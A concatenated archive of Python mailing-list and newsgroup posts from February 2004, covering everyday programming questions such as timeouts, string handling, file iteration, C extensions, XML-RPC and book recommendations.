> > make me really, really happy :-)....
>
>No, unfortunately; the python-dev consensus was that encryption raised
>export control issues, and the existing rotor module is now on its way to
>being removed.

That's too bad.  Thanks for letting me know.

Trevor 




From Scott_Starker at sil.org  Thu Feb 12 13:00:05 2004
From: Scott_Starker at sil.org (Scottie)
Date: 12 Feb 2004 10:00:05 -0800
Subject: p2ph
Message-ID: <899d28b2.0402121000.5775d875@posting.google.com>

Is there a perl to python converter from Windows/DOS? If so, point me to it.

Scott


From peter at engcorp.com  Mon Feb 16 09:29:57 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:29:57 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<c0mvpc$18urh0$1@ID-99293.news.uni-berlin.de>
Message-ID: <4030D3E5.BE372ACB@engcorp.com>

William Park wrote:
> 
> It used to be that Python programs were shorter, faster, readable,
> writable, and simply better.  But, this was during the days when most
> programmers had Unix background.  Nowdays, most of the programmers are
> coming from Windows background, and Python programs have become as
> verbose and unreadable as Visual Basic or Perl.
> 
> Ruby has not been corrupted as such.  It make complicated thing less
> complicated.  But, it still make simply thing not as simple as Python.

With all respect, William, this sounds to me like a big stinking pile
of rubbish.  Do you have *any* factual basis for the claims you are
making?

In my opinion, the Unix background of a programmer would, if anything,
tend to increase the likelihood of the code being unreadable (Perl, after
all, comes from that neck of the woods), but I really think it much
more likely that the OS background has little to do with it.  Python
itself is what is different, and what produces more readable code,
and the Python community encourages and directs that trend.

As for "most programmers are coming from Windows background" I suspect
that too is very debatable.

-Peter


From jcarlson at nospam.uci.edu  Tue Feb 24 02:05:16 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Mon, 23 Feb 2004 23:05:16 -0800
Subject: Wait for input, but only for a certain amount of time
In-Reply-To: <d32e694.0402230943.2b1fcd0@posting.google.com>
References: <d32e694.0402230943.2b1fcd0@posting.google.com>
Message-ID: <c1et89$ljn$1@news.service.uci.edu>

Pif Paf wrote:

> I have a process, and my process wants to wait for input but only for
> a certain amount of time. The input might be coming from a Python file
> object (created with popen) or a TCP socket. 
> 
> What I want is something like:
> 
>    s = getTimedInput(source, maxDelay)
> 
> where:
>    source = the source of the input
>    maxDelay = the maximum amount of time we're going to wait for input,
>       in milliseconds. We wait this amount of time, or a shorter time if we 
>       receive a "\n"(1) in the character stream
>    s = a string containing the input that was received
> 
> 
> (1): or whatever delimiter character we're using.
> 

If it is a socket on any platform, use select.select().
If it is a file in *nix, use select.select().
If it is a file in windows, check pywin32 (http://sf.net/projects/pywin32)

  - Josiah


From andrew-pythonlist at puzzling.org  Mon Feb 23 23:15:01 2004
From: andrew-pythonlist at puzzling.org (Andrew Bennetts)
Date: Tue, 24 Feb 2004 15:15:01 +1100
Subject: xmlprclib/server not reusing connections
In-Reply-To: <nfgqg1-gh4.ln1@home.rogerbinns.com>
References: <spv8g1-fev.ln1@home.rogerbinns.com>
	<mailman.6.1077573113.8594.python-list@python.org>
	<nfgqg1-gh4.ln1@home.rogerbinns.com>
Message-ID: <20040224041501.GE2752@frobozz>

On Mon, Feb 23, 2004 at 03:55:08PM -0800, Roger Binns wrote:
[...]
> 
> Basically the existing xmlrpclib and SimpleXMLRPCServer are hard coded
> (and IMHO go out of their way) to do one request per connection, and
> then shut things down.  Throw in that I needed to do SSL on both ends, with
> HTTP authentication, and some "light" firewalling in order to prevent
> DOS attacks, I had to spend several days mashing the various classes
> together with M2Crypto together.

You might have better luck with Twisted <http://twistedmatrix.com/>.

The XML-RPC server support in Twisted does support SSL, and HTTP/1.1
persistent connections, and it's pretty easy to use:

    http://twistedmatrix.com/documents/examples/xmlrpc.py

I don't have any experience with Twisted's XML-RPC client (although you can
see an example at
http://twistedmatrix.com/documents/examples/xmlrpcclient.py), but glancing
at the code it doesn't support HTTP/1.1 persistent connections out of the
box... you could probably add that in relatively easily, though.

> You can see the results here:
> 
> http://cvs.sf.net/viewcvs.py/bitpim/bitpim/bitfling/xmlrpcstuff.py?view=markup

Glancing at that, it looks like using Twisted to implement that would be a
lot easier, and shorter.

-Andrew.




From klaus_neuner82 at yahoo.de  Mon Feb  2 10:50:01 2004
From: klaus_neuner82 at yahoo.de (Klaus Neuner)
Date: 2 Feb 2004 07:50:01 -0800
Subject: assignment statements: lists vs. strings
Message-ID: <3e96ebd7.0402020750.3b0b9b82@posting.google.com>

Hello,

I would like to understand the reason for the following difference
between dealing with lists and dealing with strings: What is this
difference good for? How it is accounted for in Python slang?

Klaus

>>> string1 = "bla"
>>> string2 = string1
>>> string1 = string1 + "bla"
>>> string1
'blabla'
>>> string2
'bla'
>>> 

>>> list1 = [1,2]
>>> list2 = list1
>>> list1.append(1)
>>> list1
[1, 2, 1]
>>> list2
[1, 2, 1]
>>>


From __peter__ at web.de  Fri Feb 13 16:45:40 2004
From: __peter__ at web.de (Peter Otten)
Date: Fri, 13 Feb 2004 22:45:40 +0100
Subject: way to remove all non-ascii characters from a file?
References: <defa238f.0402131112.436997c1@posting.google.com>
Message-ID: <c0jgi5$v9f$02$1@news.t-online.com>

omission9 wrote:

> I have a text file which contains the occasional non-ascii charcter.
> What is the best way to remove all of these in python?

Read it in chunks, then remove the non-ascii charactors like so:

>>> t = "".join(map(chr, range(256)))
>>> d = "".join(map(chr, range(128,256)))
>>> "T?richte Logik b?ser Kobold".translate(t,d)
'Trichte Logik bser Kobold'

and finally write the maimed chunks to a file. However, it's not clear to
me, how removing characters could be a good idea in the first place.
Replacing them at least gives some mimimal hints that something is missing:

>>> t = "".join(map(chr, range(128))) + "?" * 128
>>> "T?richte Logik b?ser Kobold".translate(t)
'T?richte Logik b?ser Kobold'

Peter


From __peter__ at web.de  Sun Feb 29 03:40:42 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 29 Feb 2004 09:40:42 +0100
Subject: Reading newlines from a text file
References: <b4a8ffb6.0402281000.606425e2@posting.google.com>
	<c1qrn4$8vq$07$1@news.t-online.com>
	<b4a8ffb6.0402281532.71291f95@posting.google.com>
Message-ID: <c1s8ia$jvs$03$1@news.t-online.com>

Thomas Philips wrote:

> Very neat. That is exactly what I want it to do. On looking through

After reading John Roth's post I'm no longer sure. If you want multiple
lines from a file you don't need escape sequences, just use

s = file("tmp.txt", "U").read() 

to put it all in a single string. Only if you want to interpret each line in
a file as multiple line strings, the codec hack should be considered. To
get the best solution, you'd rather post the concrete problem you are
trying to solve.

> the help for open() (or its replacement, file()), I did not see a
> reference to a "string_escape" option. Where is this documented (in
> language comprehensible to a newbie)?

The documentation is here (and on the neighbouring pages):

http://www.python.org/doc/current/lib/node127.html

Codecs are probably not the first thing you'll want to learn about Python,
though.
 
> Also, I notice that you have two backslashes before each n in
> "\\ntoerichte\\nlogik\\nboeser\\nkobold\n". Why is there a need for 2
> backslashes -would not one have done the trick?

I think Diez has already explained that. Another way to find out is to run
my example and then look into tmp.txt. There are actually two lines. Can
you find out why? Hint: the last \n is different.

Peter




From nospam-deets at web.de  Mon Feb  9 12:04:37 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Mon, 09 Feb 2004 18:04:37 +0100
Subject: finding all sublists of list2 that are identical to list1
References: <3e96ebd7.0402090659.7948e06b@posting.google.com>
	<f5dcf7c7a0b2237f3b6d2c83aae102b9@news.teranews.com>
Message-ID: <c08el5$143lp1$1@ID-111250.news.uni-berlin.de>

> def sublist(list1, list2):
>     len1 = len(list1)
>     rnge = xrange(len(list2))
>     return [i for i in rnge if list2[i:len1+i] == list1]

Nice one - looks like I optimized too much. 
 
> If you need this for a specific purpose, you might be able to
> transform the data and try a different technique which would be
> executed internally at the "C" level.  For example, if your list is
> always integers, you might be able to join them into a tab-delimited
> string and scan the string with a regular expression (unless you
> consider that building automata).

You don't gain anything by that - it would still perform the search in
>O(n). But your idea makes sense when the created "strings" would then be
used in a better perforiming string searching algorithm like shift-and.

-- 
Regards,

Diez B. Roggisch


From peter at engcorp.com  Mon Feb 23 14:45:04 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 14:45:04 -0500
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
Message-ID: <403A5840.CE02049@engcorp.com>

Jon Cosby wrote:
> 
> I'm having trouble executing Python scripts in IIS. I have the error message
> "%1 is not a valid Win32 application". Anyone know what this is about?

Somewhere, something is attempting to execute an application with an
argument that contains "%1", which is normally substituted with a
variable string supplied by something else.  Clearly that isn't happening
here.

Without more detail, I doubt anyone can help much more.  Maybe you should
post some snippets of code.  Also, if the error message actually includes
more information (e.g. such as a Python traceback would have), cut and paste
the entire output rather than just retyping a part of it (if that's what you
did).

-Peter


From paul at prescod.net  Thu Feb 12 12:26:35 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 12 Feb 2004 09:26:35 -0800
Subject: How to avoid "f.close" (no parens) bug?
In-Reply-To: <402B85BE.A73089C5@engcorp.com>
References: <b16e4ef7.0402110701.5acf67e4@posting.google.com>
	<402B85BE.A73089C5@engcorp.com>
Message-ID: <402BB74B.6010203@prescod.net>

Peter Hansen wrote:

>...
> I have *never* made this particular mistake in Python, nor, as 
> far as I can tell, have any of the several dozen Python programmers
> I've hired over the past few years (none of whom have VB backgrounds).

I make this mistake from time to time although by now I am more fluent 
in Python than any other language (and I was never fluent in a language 
where you called functions without parens). I also leave off trailing 
colons, quotes, etc. It is just laziness. I suspect I would never write:

   f.close

(it does stand out like a sore thumb)

But I might write

   foo(bar[0].doSomething)

I can usually diagnose these pretty quickly.

  Paul Prescod





From mwilson at the-wire.com  Tue Feb  3 11:02:15 2004
From: mwilson at the-wire.com (Mel Wilson)
Date: Tue, 03 Feb 2004 11:02:15 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<bvef14$919$1@news.service.uci.edu>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<h6um10dknflfcgt3id6tril2fs3lbb3vsq@4ax.com>
	<bvgp4j$dp2$1@news.service.uci.edu>
	<jvtn10177itao5m0lgt25bofut9h5qj4c6@4ax.com>
	<bvjj49$c94$1@news.service.uci.edu> <7jz58j30.fsf@yahoo.co.uk>
	<bvmh58$4hc$1@news.service.uci.edu>
Message-ID: <HY8HAls/K/Nb089yn@the-wire.com>

In article <bvmh58$4hc$1 at news.service.uci.edu>,
Josiah Carlson <jcarlson at nospam.uci.edu> wrote:
>
>> But if you normalise every time, some theoretically simple operations
>> can become relatively very expensive in terms of time. (Basically,
>> things like addition, which suddenly require a GCD calculation).
>
>If we are to take cues from standard Python numeric types, any
>mathematical calculation results in a new immutable object.  Thusly,
>only normalizing on initialization is sufficient.  Since that is the
>only time you ever get anything new, doing GCD on initialization is the
>minimum and maximum requirement.

   I agree, but that means we do a lot of initializations,
so the performance in doing a computation would be about the
same.

   I tried a decimal floating-point package just lately, for
fun, based on long mantissas and int exponents.  I used this
approach to normalization, because I think it's natural, but
I've been scared to benchmark the package.  I should, I
guess.

        Regards.        Mel.


From benjamin at araisoft.com  Sun Feb  1 12:57:48 2004
From: benjamin at araisoft.com (Benjamin Arai)
Date: Sun, 01 Feb 2004 09:57:48 -0800
Subject: Has anybody got PyGresql working on Python 2.3 or later?
In-Reply-To: <F1921F85572CB04D9F55B14BDC76B3E44346AE@tdi_nt9.internal.viacom-outdoor.co.uk>
References: <F1921F85572CB04D9F55B14BDC76B3E44346AE@tdi_nt9.internal.viacom-outdoor.co.uk>
Message-ID: <1075658268.23559.1.camel@localhost.localdomain>

If you have can you email me what you changed to get rid of the
PQfreemem warning?


-- 
Benjamin Arai <benjamin at araisoft.com>
Araisoft Corp.
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From mwh at python.net  Thu Feb 19 06:29:30 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 19 Feb 2004 11:29:30 GMT
Subject: Python Virtual Machine Reference
References: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>
	<VyRYb.25570$Ob7.3577@newssvr27.news.prodigy.com>
	<mailman.43.1077154981.27104.python-list@python.org>
Message-ID: <m3ad3fjoit.fsf@pc150.maths.bris.ac.uk>

Jeff Epler <jepler at unpythonic.net> writes:

> On Wed, Feb 18, 2004 at 10:20:37PM +0000, Dave Kuhlman wrote:
> > But, I don't understand what the connection is between the AST
> > (abstract syntax tree) and the byte code interpreter's op-codes.
> > Maybe someone else can explain that.  Perhaps the real Python
> > compiler does not use the AST.
> 
> The parser transforms the string of tokens into an AST, and then
> generates bytecode by traversing the AST.  After bytecode generation,
> the AST is discarded.

Which AST are we talking about here?

Python's built in parser produces an exceedingly concrete syntax tree
(ECST? :-).  This is the input to the builtin compiler
(Python/compile.c).  The Lib/compiler package translates the ECST into
a more genuine AST, and then walks over *that* to generate bytecode.

(The docs for the builtin parser module occasionally refer to the ECST
as an AST, but that's basically a lie).

What happens on the ast-branch (the "new compiler" branch), I'm not so
sure about.  An AST (AFAIK different from Lib/compiler's) is involved
somewhere, but I'm not sure how it's produced.

Cheers,
mwh

-- 
  Finding a needle in a haystack is a lot easier if you burn down
  the haystack and scan the ashes with a metal detector.
      -- the Silicon Valley Tarot (another one nicked from David Rush)


From domma at procoders.net  Thu Feb 12 11:44:12 2004
From: domma at procoders.net (Achim Domma)
Date: Thu, 12 Feb 2004 17:44:12 +0100
Subject: convert string with raw binary data to unicode
Message-ID: <c0gagj$m6m$06$1@news.t-online.com>

Hi,

I want to pass raw binary data from a file to a COM object. I read the data
from file like this:

data = file('path_to_file','rb').read()

If passed to a COM object, data is converted to unicode in the way one would
expect for strings. I.e. a lot of zeros are filled in. I want each two
characters from data to be interpreted as one unicode character. I read the
docu about codecs but can not find a suitable codec. I also tried to read
the data like this:

data = codecs.open('path_to_file','rb','???').read()

I tried to use UCS2 for the ???, but this encoding does not exist. A posting
found via google supposes to use UTF-16 but this is not the same and raises
an error.

This shouldn't be a big problem, but I can figure out how to solve it. Can
anybody help?

regards,
Achim




From joe at notcharles.ca  Sun Feb  8 11:33:10 2004
From: joe at notcharles.ca (Joe Mason)
Date: Sun, 08 Feb 2004 16:33:10 GMT
Subject: OT: PHP as a general language (was Re: where does Python stand?)
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<mailman.1246.1076000375.12720.python-list@python.org>
	<c718a6cf.0402071225.ea09de6@posting.google.com>
	<slrnc2ahif.ojd.joe@gate.notcharles.ca>
	<Xns94892CEE6B3D3JanC@213.119.4.35>
Message-ID: <slrnc2cngi.qmu.joe@gate.notcharles.ca>

In article <Xns94892CEE6B3D3JanC at 213.119.4.35>, JanC wrote:
> Joe Mason <joe at notcharles.ca> schreef:
> 
>> I was just looking for a way to run PHP as a general script, actually
>> (it'd be much easier to debug extensions than having to load a web page
>> through Apache every time).  But I can't find a standalone interpreter
>> on my system (Debian stable) - all the php packages just hook into
>> Apache.  Do you know where I can find a standalone PHP?
> 
> This might be useful:
><http://www.php.net/manual/en/features.commandline.php>

Hmm, I just realized the message I sent out a few days ago (about an
hour after my original post, actually) never showed up.  It turns out
that on Debian, the php4 package contains all the framework needed to
run PHP from Apache, but the actual command-line interpreter is in
php4-cgi.  Which is just... confusing.

Thanks everyone for the replies, though.

Joe


From Pieter.Claerhout at Creo.com  Thu Feb 26 10:56:43 2004
From: Pieter.Claerhout at Creo.com (Pieter Claerhout)
Date: Thu, 26 Feb 2004 16:56:43 +0100
Subject: configure 'time out' time for urllib
Message-ID: <490316A24CC5D411ACD700B0D078F7F0064D4C40@cseexch01.cse.creoscitex.com>

I think you will have to configure the default timeout for the socket
module. If you have Python 2.3, it works as follows:

    import socket
    socket.setdefaulttimeout(10) # timeout in seconds

For older versions of Python, you have to rely on the timeoutsocket module
from http://www.timo-tasi.org/python/timeoutsocket.py, which works as
follows:

    import timeoutsocket
    timeoutsocket.setDefaultSocketTimeout(10)

Cheers,


pieter

Creo
pieter claerhout | product support prinergy | tel: +32 2 352 2511 |
pieter.claerhout at creo.com | www.creo.com

IMAGINE CREATE BELIEVE(tm)

-----Original Message-----
From: python-list-bounces+pieter.claerhout=creo.com at python.org
[mailto:python-list-bounces+pieter.claerhout=creo.com at python.org] On Behalf
Of wes weston
Sent: 26 February 2004 16:39
To: python-list at python.org
Subject: Re: configure 'time out' time for urllib

Andreas,
    I had a similar problem and coded in two tries; could be 3,4 etc.
I couldn't find a way to set the timeout.

Andreas Dahl wrote:
> Hi,
> 
> I use urllib to retrieve data via HTTP. Unfortunately my program crashes
> after a while (after some loops) because the connection timed out.
> 
> raise socket.error, msg
> IOError: [Errno socket error] (60, 'Connection timed out')
> 
> I am not so familiar with python, but is there a possibility to
> configure the 'waiting time'? Or how can I handle such an event? To skip
> that query and go to the next one would also work.
> 
> Many thanks in advance, Andreas
> 
> code:
>     params = urllib.urlencode({'rs': rs})
>     try:
>         file =
> urllib.urlopen("http://www.ncbi.nlm.nih.gov/SNP/snp_ref.cgi?%s" %
> params)
>     except IOError, message: # file open failed
>         print >> sys.stderr, "File could not be opend:", message
>         sys.exit(1)
>     data = file.readlines() # array with html-doc-content
>     file.close()
> 

-- 
http://mail.python.org/mailman/listinfo/python-list



From __peter__ at web.de  Sun Feb 22 04:07:22 2004
From: __peter__ at web.de (Peter Otten)
Date: Sun, 22 Feb 2004 10:07:22 +0100
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
Message-ID: <c19rga$c9q$02$1@news.t-online.com>

David Morgenthaler wrote:

> How does one overide the iterator implied by the construct "for line
> in file:"?
> 
> For example, suppose I have a file containing row,col pairs on each
> line, and I wish to write a subclass of file that will transform these
> to x,y coordinates using an affine transform. I'd like it to look
> something like this (but this clearly doesn't work):
> 
> class myFile(file):
>     def __init__(self,name,affine):
>         self.affine = affine
>         file.__init__(name)
> 
>     def next(self):
>         for line in file.__iter__(self):
>             r,c = ",".split(line[:-1]
>             yield self.affine(r,c)

Here are two ways to make the above work:

# add an additional iterator
class myFile(file):
    def __init__(self, name, affine):
        self.affine = affine
        file.__init__(self, name) # oops, self was missing

    def pairs(self): #oops, name clash
        for line in self:
            r,c = line[:-1].split(",") #oops, wrong use of split()
            yield self.affine(r,c)

# change the original iterator's behaviour
class myFile2(file):
    def __init__(self, name, affine):
        self.affine = affine
        file.__init__(self, name)

    def next(self):
        line = file.next(self)
        r, c = line[:-1].split(",")
        return self.affine(r,c)

#create sample data
r = iter(range(10))
sample = "".join(["%d,%d\n" % (i,j) for (i,j) in zip(r,r)])
file("tmp.txt", "w").write(sample)

def op(a, b):
    return int(a)*int(b)

for v in myFile("tmp.txt", op).pairs():
    print v,
print

for v in myFile2("tmp.txt", op):
    print v,
print


Peter



From paul at prescod.net  Mon Feb 23 04:19:01 2004
From: paul at prescod.net (Paul Prescod)
Date: Mon, 23 Feb 2004 01:19:01 -0800
Subject: Help: Is Python suitable?
In-Reply-To: <ed89f8f2.0402222221.47b6213f@posting.google.com>
References: <ed89f8f2.0402222221.47b6213f@posting.google.com>
Message-ID: <4039C585.3080102@prescod.net>

Tran Tuan Anh wrote:

> Hi,
> 
> I have an programming assignment, and would like to try out Python.
> 
> I need to read in a simple textual language (does Python have a
> scanner, and parser?), and do some processing. After that, generate
> some codes in an other language. Basically, the program generates code
> for another program based on some textual input.

http://www.python.org/sigs/parser-sig/

  Paul Prescod






From jepler at unpythonic.net  Mon Feb  2 08:06:46 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 2 Feb 2004 07:06:46 -0600
Subject: C extension=> pow(2,
	1) gives DIFFERENT answers in different parts of C extension!?!?!
	Any ideas why?
In-Reply-To: <bf23f78f.0402020018.4e67de2b@posting.google.com>
References: <bf23f78f.0402020018.4e67de2b@posting.google.com>
Message-ID: <20040202130646.GD1014@unpythonic.net>

This may be a simple "C" error.  If you call pow() without a prototype
in scope, a compiler will not necessarily give you an error.  However,
the return type of pow() will be int, not double.  In that case,
anything can happen.

$ cat seberino.c
#ifdef RIGHT
#include <math.h>
#endif

#include <stdio.h>

int main(void) { printf("%f\n", pow(2, 1)); }
$ gcc seberino.c -lm && ./a.out
-1.993340
$ gcc seberino.c -lm -DRIGHT && ./a.out
2.000000

You might consider enabling more compiler warnings:
$ gcc -Wall seberino.c -lm
seberino.c: In function `main':
seberino.c:7: warning: implicit declaration of function `pow'
seberino.c:7: warning: double format, different type arg (arg 2)
seberino.c:7: warning: control reaches end of non-void function

Jeff



From sebb at linuxcult.com  Sun Feb 29 20:07:25 2004
From: sebb at linuxcult.com (sebb)
Date: 29 Feb 2004 17:07:25 -0800
Subject: Installing pyGTK on windows
Message-ID: <56f42e53.0402291707.3d089c64@posting.google.com>

I just want to know how to install pyGTK on windows.

Thanks


From dave at pythonapocrypha.com  Tue Feb 17 14:15:34 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Tue, 17 Feb 2004 12:15:34 -0700
Subject: Py2exe... & hiding propritary stuff in the exe
References: <yToXb.39409$Bb.328706@twister.tampabay.rr.com>
Message-ID: <077201c3f58a$6b6ccbd0$6401fea9@YODA>

Will wrote:
> For example, if I have a propritary graphic/slide and/or short propritary
> video that I don't want to be a 'standalone' file... like a jpg or mov or
> whatever... as I don't want people to be able to re-distribute the proteray
> graphic/movie files w/o my application... will Py2exe or some other tool or
> method bury those some way... like keeping them as data in the exe file?

How will that proprietary media be used? I ask because once you go to view it,
won't it be completely open and available to the user anyway? (if it's a jpg,
then the user could just take a screen shot of it, and if it's a movie, then
you either have to make it available on the filesystem so the video player can
play it, or go through the non-trivial tasks of streaming the data to the
player, in which case the player's own DRM scheme may be better as true media
access control requires integration with the media sink or player, and not just
the transport).

-Dave




From theller at python.net  Thu Feb 26 04:05:30 2004
From: theller at python.net (Thomas Heller)
Date: Thu, 26 Feb 2004 10:05:30 +0100
Subject: [Admin Script] Backing up your SourceForge project CVS
References: <4033546A.6000608@rogers.com>
Message-ID: <y8qqqkh1.fsf@python.net>

"Mike C. Fletcher" <mcfletch at rogers.com> writes:

> Attached is a simple little script.  It automates downloading nightly
> CVS tarballs for multiple projects from SourceForge (you do back up
> your project's CVS, don't you? (And if you're like me, you find going
> through the web interface to get the tarball for each project is a
> pain.))  It's by no means a particularly complex script, but no reason
> for everyone (well, everyone with lots of projects to maintain) to
> re-invent the wheel.

Very cool, thanks.
Here is a hacked version of the retrieve function, which doesn't require
the external programs bzip2 and gzip (Pytghon has enough batteries
already).

def retrieve( projectName ):
    """Given a projectName, retrieve and store download to downloadDirectory"""
    os.chdir( downloadDirectory )
    url = "http://cvs.sourceforge.net/cvstarballs/%(projectName)s-cvsroot.tar.bz2"%locals()
    date = time.strftime( '%Y-%m-%d' )
    fileName = '%(projectName)s-%(date)s-cvsroot.tar.bz2'%locals()
    file = os.path.join( downloadDirectory, fileName )
    def doDots( current, block, total ):
        sys.stdout.write( '.' )
    print 'Retrieving:\n %(url)s\nInto:\n %(fileName)s'%locals()
    urllib.urlretrieve( url, file, doDots )
    print
    print 'Decompressing bzip format'
    data = bz2.BZ2File(fileName, "r").read()
    print 'Recompressing in gzip format'
    tarFile = os.path.splitext(fileName)[0]
    gzip.GzipFile(tarFile + '.gz', "wb", 9).write(data)
    print 'Finished'

Thomas




From robin at jessikat.fsnet.co.uk  Fri Feb 20 03:27:37 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Fri, 20 Feb 2004 08:27:37 +0000
Subject: Class for Time Series Data
References: <mailman.91.1077243140.27104.python-list@python.org>
Message-ID: <B4uh5LA5TcNAFwwC@jessikat.fsnet.co.uk>

In article <mailman.91.1077243140.27104.python-list at python.org>, Robert
Brewer <fumanchu at amor.org> writes
>sdhyok wrote:
>> Hi, I am trying to build up a system handling time series data a lot.
>> Do you know any well-designed python class specially for time 
>> series data?
>> Thanks in advance.
>
>Daehyok,
>
>Can you be more specific? Are you trying to generate a series of time
>objects, or manage a series of time objects, or convert strings to time
>objects, or what?
>
>FuManChu
>
I suspect time- eries refers to the classic data set of time ordered
values. These are normally denoted x1,x2,....,xt. Time series feature in
all sorts of disciplines eg biology, economics, meteorology etc etc etc.
-- 
Robin Becker


From jzgoda at gazeta.usun.pl  Fri Feb 13 16:22:46 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Fri, 13 Feb 2004 21:22:46 +0000 (UTC)
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
Message-ID: <c0jf75$or2$2@atlantis.news.tpi.pl>

Stuart Bishop <stuart.b at commonground.com.au> pisze:

> Classifying a lack of Unicode support in an XML parser as a
> 'bug' is ridiculous. 

Lack of Unicode support in an XML parser makes it unusable for most part
of humanity. It's much worse than bug, it's a mistake.

-- 
Jarek Zgoda
http://jpa.berlios.de/


From carroll at tjc.com  Wed Feb 18 11:47:45 2004
From: carroll at tjc.com (Terry Carroll)
Date: Wed, 18 Feb 2004 16:47:45 GMT
Subject: the best book for learning python !?
References: <b15d2792.0402161313.6902cc27@posting.google.com>
Message-ID: <ap37305c4qj41m2jefukg2b92rv38but80@4ax.com>

On 16 Feb 2004 13:13:06 -0800, post400 at prontomail.com (post400) wrote:

>I was just wondering ( yeah I know it's not the first time this
>question pops up )
>what would be the best 2 or 3 books for someone who wants to learn
>Python , already experienced in other non-OOP languages .

I see three types of books; one type for initial learning, one for
reference, and one for advanced topics, exploring and obtaining further
detail.

For me, as a book for learning, Mark Lutz And David Ascher's "Learning
Python" can't be beat in the book arena (although there are a lot of free
online tutorials that occupy the same space and do the task very well,
too; but you asked about books).

With all respect to Lutz and Ascher, I would recommend seeing if you can
borrow the LP book, rather than purchasing it, or purchase a used copy.
Again, I found it great for learning, but once I learned Python, never had
any urge to look at it again.  

(LP is now recently in its second edition, so the chances of borrowing or
buying used a copy of the current edition is probably pretty slim;
however, I had no problem learning python from the 1st edition, even while
using Python 2.x; the core of the language is not changed much, and the
changes can be picked up from looking at the "What's New" files, other
books, and participation in fora like this one.  On the other hand,
there's nothing like getting a good take on the current language from the
start.  Depends on your patience, mind-set and budget, I suppose.)

There are a few candidates for reference books.  The one I like (a *lot*)
is Alex Martelli's "Python in a Nutshell."  However, the real reason I
like it so much is that, while it's mostly a reference book, it begins the
slide toward an advanced topics book.  This makes it great for learning
new areas (like debugging, unit testing, Internet programming, etc.), as
well as serving as a pure reference.  The downside, I guess, is that it
probably is not quite as good as a pure reference would be (or else it
would be several times the size and cost that it is); but it hits the
sweet spot for me.

There are other books in this category, too.  One is David Beazley's
"Python Essential Reference," a borrowed first edition of which I used
when I was just starting in Python.  The Beazley book is also very, very
good.  My preference is for the Martelli book, because it's less of a pure
reference, but that same attribute may be a point that would drive you to
the Beazley book.  Personal preference.

There are others that I haven't read, too: Martin Brown's "Python: the
Complete Reference," and Dave Brueck and Stephen Tanner's "Python 2.1
Bible."   I've never seen Brown's book, so I can't comment on it.  I have
browse Brueck and Tanner's, and it looks very good, as I recall, giving
more detail on GUI and things like that.  If I didn't already have a
pretty full python library, I'd probably have bought it.
	
In the third category, I like the Python Cookbook, edited by Alex Martelli
and David Ascher.  I keep that one in my bathroom and read random short
Python recipes.  The Cookbook is great for giving examples of useful
working code in a number of areas.  

A popular candidate here is Mark Lutz's "Programming Python," but I found
it useless for me.  What I disliked about it is the inability to look up
things by topic and find a useful discussion of that topic.  The book is
highly integrated, and if you open it to, say, Chapter 5, you'll need to
have read chapters 1-4 to follow the discussion in chapter 5.  I think PP
might be a good book as a course textbook, where there is a sequence of
topics treated in a structured environment; but for self-directed
education *for me*, it fails.

I want to emphasize the *for me* in the above; there are a lot of people
in this newsgroup who love this book, so its usefulness is a highly
personal judgment.  It might be great for you.

Also in that third category, you might find yourself drawn to some
specific topic in Python, and want a less general advanced book.  Examples
are Jones and Drake's "Python and XML," if you're interested in XML; or
Grayson's "Python and Tkinter Programming," if you're particularly
interested in GUI programming using Tkinter.

I'll also join in in recommending the various excellent and free web pages
that provide a lot of good Python information.  But you were asking about
books, and I understand the appeal that a book has over an online
resource, so I'm limiting discussion to books.



From sb at networkdata.co.uk  Wed Feb 18 13:12:09 2004
From: sb at networkdata.co.uk (connections  cardiff)
Date: 18 Feb 2004 10:12:09 -0800
Subject: socket send query
Message-ID: <69fe7511.0402181012.3187517f@posting.google.com>

hi all,

i want to mimic what another software program sends to a server.

if i look with a sniffer i can see the hex data that is being sent by
the real software program.

how can i send such data?

if i send the hex data values with a socket send then python assumes i
am trying to send a string of ascii characters and when i look at what
was sent in the sniffer i see the data i sent has been coverted into
their corresponding hex values.  I want python to leave it alone and
send it.

i guess if my hex values had acsii equivalents i could send them and
they would be converted to the data i want but i dont think all my hex
data has acsii equivalents..

is there another way i should be doing this?

PS.  IN CASE YOU DIDNT NOTICE I AM A NEWBIE!

many thanks

s


From sdahlbac at abo.fi  Tue Feb 24 08:16:58 2004
From: sdahlbac at abo.fi (Simon Dahlbacka)
Date: 24 Feb 2004 05:16:58 -0800
Subject: cPickle and HIGHEST_PROTOCOL problems
Message-ID: <ab4c5633.0402240516.58ed4770@posting.google.com>

I'm trying to cache some information using cPickle
and I thought that using cPickle.HIGHEST_PROTOCOL would give me an
efficient representation.

However,

when trying to load the information back I just keep getting a broken
pickle with EOF error from cPicle.load(file('myfile.pickle','r'))

if I am not using cPickle.HIGHEST_PROTOCOL  or -1 or 2 it seems to
work nicely, is this a bug or something else?  (python 2.3.2 on winxp)

the information to be pickled is a dictionary of  some strings and a
list of custom objects defined as:

